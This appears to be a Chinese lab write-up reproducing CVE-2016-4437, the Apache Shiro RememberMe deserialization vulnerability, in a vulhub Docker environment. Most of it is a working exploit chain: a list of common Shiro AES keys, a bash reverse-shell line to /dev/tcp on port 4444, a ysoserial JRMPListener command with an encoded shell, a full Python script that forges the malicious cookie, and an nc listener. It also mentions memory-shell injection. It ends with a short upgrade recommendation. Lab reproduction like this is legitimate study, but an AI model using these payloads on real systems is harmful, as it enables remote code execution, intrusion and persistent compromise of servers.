1、简介
Apache Shiro是一个强大且易于使用的Java安全框架,提供认证、授权、加密以及会话管理功能。CVE-2016-4437具体涉及了Apache Shiro在使用记住我(RememberMe)功能时的反序列化漏洞。
2、漏洞原理
原因在于Apache Shiro对加密的RememberMe cookie的处理。在正常情况下,RememberMe功能让用户在返回网站时不用再次登录。为了提供这种功能,Shiro需要在客户端和服务器之间安全地传输身份验证数据。Shiro通过使用AES加密算法加密身份验证数据来实现这一点,然后将加密后的数据存储在cookie中。但是由于Shiro在版本1.2.4之前没有正确地验证加密数据,导致了可能的漏洞
3、影响范围
Apache Shiro <= 1.2.4
4、启动环境
利用docker启动vulhub环境
浏览器访问靶机IP加8080端口,搭建成功页面。
5、漏洞复现
随意输入账密点击登录并burp抓包,返回包中存在rememberMe=deleteMe字段,证明使用了shiro框架(注意:返回包中存在ememberMe=deleteMe字段,只能证明使用了shiro,并不能代表一定存在反序列化漏洞)
burp插件ShiroScan,检测到可能存在漏洞(八九不离十是存在漏洞的)
简单说一下插件的安装,将下载好的包解压,参考下图添加插件。插件地址
上工具爆破key工具地址
可以命令执行
shiro反序列化常用key
kPH+bIxk5D2deZiIxcaaaA==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
zSyK5Kp6PZAAjlT+eeNMlg==
U3ByaW5nQmxhZGUAAAAAAA==
4AvVhmFLUs0KTA3Kprsdcg==
5AvVhmFLUs0KTA3Kprsdag==
bXdrXl9eNjY2KjA3Z2otPQ==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
L7RioUULEFhRyxM7a2R/Yg==
r0e3c16IdVkouZgk1TKVMg==
bWluZS1hc3NldC1rZXk6QQ==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
输入如下命令克隆ysoserial工具源码。或直接离线下载(本文是离线下载)
git clone https://github.com/frohoff/ysoserial.git
解压进入ysoserial-master目录
unzip ysoserial-master.zip
cd ysoserial-master
输入如下命令编译打包
mvn package -D skipTests (需要安装maven方可使用mvn命令)
编译打包的过程中遇到了报错,提示缺少该javax.interceptor-api:jar:3.1依赖。
解决方法:需要更新maven的仓库源
mvn -version #查看maven的安装目录
进入以下目录
cd /usr/local/maven/apache-maven-3.9.6/conf
添加阿里云仓库源
vim settings.xml
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
重新输入以下命令编译打包
mvn package -D skipTests
编译打包成功
反弹shell,构造反弹shell命令并进行加密。推荐地址
bash -i >& /dev/tcp/192.168.15.128/4444 0>&1
利用ysoserial中的JRMP监听模块,监听6666端口并且执行反弹shell命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}'
构造cookie内容生成payload。
python shiro.py 192.168.15.128:6666
shiro.py脚本内容如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertextif __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
如果出现下图报错,执行下面命令解决
pip uninstall crypto pycryptodome
pip install pycryptodome
nc监听4444端口
nc -lvvp 4444
利用burp,将生成的payload插入至cookie中。
正常情况会反弹shell,很烦,这里没有反弹成功,但是JRMP是有回显的
生气,很生气,有知道的大佬给点意见,是哪里出现了问题还是其他原因。
利用工具注入内存马
上蚁剑连接
连接成功
6、修复建议
根据官方要求将shiro升级至无漏洞版本。